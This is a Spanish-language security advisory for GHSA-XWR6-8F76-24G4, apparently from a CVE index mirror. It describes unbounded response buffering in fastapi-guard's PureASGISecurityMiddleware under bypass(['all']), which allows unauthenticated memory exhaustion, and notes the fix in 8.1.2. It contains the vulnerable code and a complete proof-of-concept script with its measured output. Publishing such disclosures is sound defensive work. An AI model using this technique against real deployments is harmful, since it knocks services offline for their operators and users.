GHSA-XWR6-8F76-24G4
Agotamiento de memoria remota sin autenticación en rutas públicas mediante almacenamiento en búfer de respuestas en Pure-ASGI con `bypass(["all"])`
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XWR6-8F76-24G4 divulgada · CVSS 7.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche 8.1.2 | fastapi-guard · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
`PureASGISecurityMiddleware` promete respuestas ASGI sin búfer, pero su ruta documentada `bypass(["all"])` almacena en búfer toda la respuesta del downstream antes de enviar cualquier mensaje de respuesta. Una única solicitud sin autenticación a una ruta pública que use ese decorador puede, por tanto, consumir memoria proporcional al tamaño de la respuesta e impedir el streaming. Una respuesta finita de 8 MiB reprodujo aproximadamente 201 MiB de RSS en un proceso ARM64 limpio.
Detalles
El código vulnerable está en `guard/asgi.py:238-268`:
async def call_next(request: Request) -> Response:
captured: dict[str, Any] = {"status": 500, "headers": [], "body": b""}
async def capturing_send(message: Message) -> None:
if message["type"] == "http.response.start":
captured["status"] = message["status"]
captured["headers"] = list(message["headers"])
elif message["type"] == "http.response.body":
captured["body"] += message.get("body", b"")
await self._call_downstream(
scope, caching_receive.replay(), capturing_send, time.time()
)
return Response(
status_code=captured["status"],
headers=dict(
(key.decode("latin-1"), value.decode("latin-1"))
for key, value in captured["headers"]
),
content=captured["body"],
)`PureASGISecurityMiddleware._screen()` pasa este callback que materializa la respuesta a `SecurityMiddleware._handle_security_bypass()` (`guard/asgi.py:197-205`). Cuando la configuración de ruta registrada contiene el token de bypass documentado `all`, guard-core invoca el callback. Cada fragmento `http.response.body` del downstream se añade entonces a un objeto `bytes` sin límite. Como `capturing_send` no reenvía mensajes, el servidor ASGI externo no recibe ni `http.response.start` ni ningún fragmento de cuerpo hasta que la aplicación downstream termina.
La ruta Pure-ASGI habitual (`guard/asgi.py:217-220`) reenvía directamente el wrapper de send del downstream. La ruta afectada es, por tanto, específica de la rama soportada `bypass(["all"])` en modo activo (`passive_mode=False`, el valor por defecto). El `SecurityDecorator` de la ruta debe estar registrado en la aplicación, como exige la integración documentada.
Es un problema del adaptador en `fastapi-guard`, no el problema separado de almacenamiento en búfer del cuerpo de la solicitud corregido previamente en `guard-core` GHSA-c2r5-9jw9-m8q5. Ningún aviso, CVE o incidencia existente de fastapi-guard coincide con esta ruta de captura de respuestas del downstream.
Prueba de concepto
El siguiente script independiente usa únicamente APIs públicas. No requiere Redis, HTTPX, un servicio externo ni contenido de respuesta controlado por el atacante.
Instale la versión afectada en un entorno limpio de Python 3.10+, guarde el script como `poc.py` y ejecútelo:
python -m venv .venv
.venv/bin/pip install fastapi-guard==8.1.1
.venv/bin/python poc.py
# macOS RSS measurement (optional)
/usr/bin/time -l .venv/bin/python poc.pyimport asyncio
import tracemalloc
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
from guard import PureASGISecurityMiddleware, SecurityConfig, SecurityDecorator
async def main() -> None:
chunk = b"x" * (256 * 1024)
count = 32
yielded = asyncio.Event()
release = asyncio.Event()
finished = asyncio.Event()
config = SecurityConfig(
enable_redis=False,
enable_penetration_detection=False,
enable_rate_limiting=False,
enable_ip_banning=False,
)
app = FastAPI()
app.add_middleware(PureASGISecurityMiddleware, config=config)
decorator = SecurityDecorator(config)
app.state.guard_decorator = decorator
@decorator.bypass(["all"])
@app.get("/stream")
async def stream() -> StreamingResponse:
async def body():
try:
yielded.set()
yield chunk
await release.wait()
for _ in range(count - 1):
yield chunk
await asyncio.sleep(0)
finally:
finished.set()
return StreamingResponse(body(), media_type="application/octet-stream")
sent = []
first = True
async def receive():
nonlocal first
if first:
first = False
return {"type": "http.request", "body": b"", "more_body": False}
await finished.wait()
return {"type": "http.disconnect"}
async def send(message):
sent.append(message)
scope = {
"type": "http",
"asgi": {"version": "3.0", "spec_version": "2.3"},
"http_version": "1.1",
"method": "GET",
"scheme": "http",
"path": "/stream",
"raw_path": b"/stream",
"query_string": b"",
"headers": [(b"host", b"testserver")],
"client": ("198.51.100.10", 50000),
"server": ("testserver", 80),
"root_path": "",
"app": app,
}
tracemalloc.start()
task = asyncio.create_task(app(scope, receive, send))
await yielded.wait()
await asyncio.sleep(0)
before_release = len(sent)
assert not sent, "streaming data was forwarded before completion"
release.set()
await task
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
bodies = [
message.get("body", b"")
for message in sent
if message["type"] == "http.response.body"
]
assert len(bodies) == 1
assert len(bodies[0]) == len(chunk) * count
print(
f"before_release={before_release} buffered={len(bodies[0])} peak_traced={peak}"
)
asyncio.run(main())Salida representativa:
before_release=0 buffered=8388608 peak_traced=17064315`before_release=0` demuestra que ningún mensaje de respuesta ASGI se reenvía después de que el generador downstream produce su primer fragmento. `buffered=8388608` demuestra que la respuesta completa de 8 MiB se emite solo después de que termina el generador, como un único mensaje de cuerpo. La PoC invoca la aplicación ASGI directamente con un ámbito `GET /stream` ordinario y sin autenticación, por lo que no se requiere servidor, biblioteca cliente ni servicio externo.
Comportamiento esperado: la respuesta inicial y el primer fragmento del cuerpo se reenvían en cuanto la aplicación downstream los envía. Comportamiento real: no se reenvía ningún mensaje de respuesta hasta que la aplicación downstream termina, y el cuerpo completo se envía en un solo mensaje. En macOS ARM64 con Python 3.10.19, FastAPI 0.141.1, Starlette 1.6.0, `guard-core` 4.4.0 y `fastapi-guard` 8.1.1, `/usr/bin/time -l` midió `ru_maxrss=201,424,896` bytes en esta ejecución. La misma respuesta por la ruta de streaming normal envió su primer fragmento antes de completarse y midió aproximadamente 64 MiB de RSS en un proceso limpio.
Impacto
Es una vulnerabilidad remota de disponibilidad (CWE-400). Cualquier despliegue que use `PureASGISecurityMiddleware` con una ruta pública registrada con `bypass(["all"])` en modo activo está afectado cuando esa ruta devuelve un cuerpo grande o de larga duración.
Un atacante no necesita cuenta, rol de administrador, cuerpo de solicitud, código de aplicación ni un momento especial. Un único GET ordinario retiene la respuesta completa en el middleware; la concatenación repetida añade amplificación por copias, y las solicitudes concurrentes multiplican el uso de recursos. Un flujo sin límite mantiene ocupado el worker mientras el búfer crece sin entregar una respuesta; con memoria limitada del worker, esto puede terminarlo. No se ven afectadas la confidencialidad ni la integridad.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypifastapi-guard |
Corregida | 8.1.2 | 0 d | 8.1.2 no afectada |
8.1.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Guard-Core/fastapi-guard/security/advisories/GHSA-xwr6-8f76-24g4Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
